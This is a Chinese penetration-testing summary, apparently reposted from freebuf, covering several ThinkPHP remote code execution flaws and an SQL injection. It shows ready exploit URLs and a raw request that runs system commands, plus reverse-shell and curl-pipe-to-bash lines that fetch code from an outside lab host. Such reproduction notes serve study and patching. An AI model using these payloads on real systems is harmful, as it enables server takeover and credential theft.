Thinkphp渗透总结
ThinkPHP可在Windows和Linux等操作系统运行,支持Mysql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP 2.x 任意代码执行漏洞
漏洞原理:
ThinkPHP 2.x版本中,使用preg_replace的/e匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
影响范围:
ThinkPHP 2.x
ThinkPHP 3.0版本因为Lite模式下没有修复,也存在该漏洞。
验证漏洞:
http://192.168.109.147:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
复现操作:
构造poc
http://192.168.109.147:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
反弹shell
bash -i >& /dev/tcp/192.168.109.147/8888 0>&1
python -m SimpleHTTPServer 80
1=system("curl 192.168.109.9/shell.sh | bash");
成功上线。
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞
漏洞原理:
在版本5中,由于框架错误地处理了控制器名称,如果网站未启用强制路由(默认设置),则会导致RCE漏洞。
影响范围:
5.0.22 / 5.1.29
复现操作:
payload判断是否存在远程代码执行漏洞
http://192.168.109.147:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_a
rray&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
任意代码执行
http://192.168.253.7:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=system&vars[1][]=要写入的文件内容的url编码
Thinkphp5 5.0.23远程执行代码漏洞
漏洞原理:
在版本5.0(<5.0.24)中,框架在获取method的方法中没有正确处理方法名,使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响范围:
thinkphp 5.0.0 ~5.0.23
复现操作:
验证漏洞是否存在
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.109.147:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
反弹shell
curl 192.168.109.9/shell.sh | bash
成功获得反弹shell。
Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
漏洞原理:
传入的某参数在绑定编译指令时没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄露数据库的账号和密码。
影响范围:
ThinkPHP < 5.1.23
复现操作:
验证漏洞是否存在
http://192.168.109.147/index.php?ids[]=1&ids[]=2
构造poc
http://192.168.109.147/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
成功显示信息:
枚举到mysql数据库用户名和密码。
来源:freebuf.com 2021-05-23 01:11:04 by: MISUagain
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册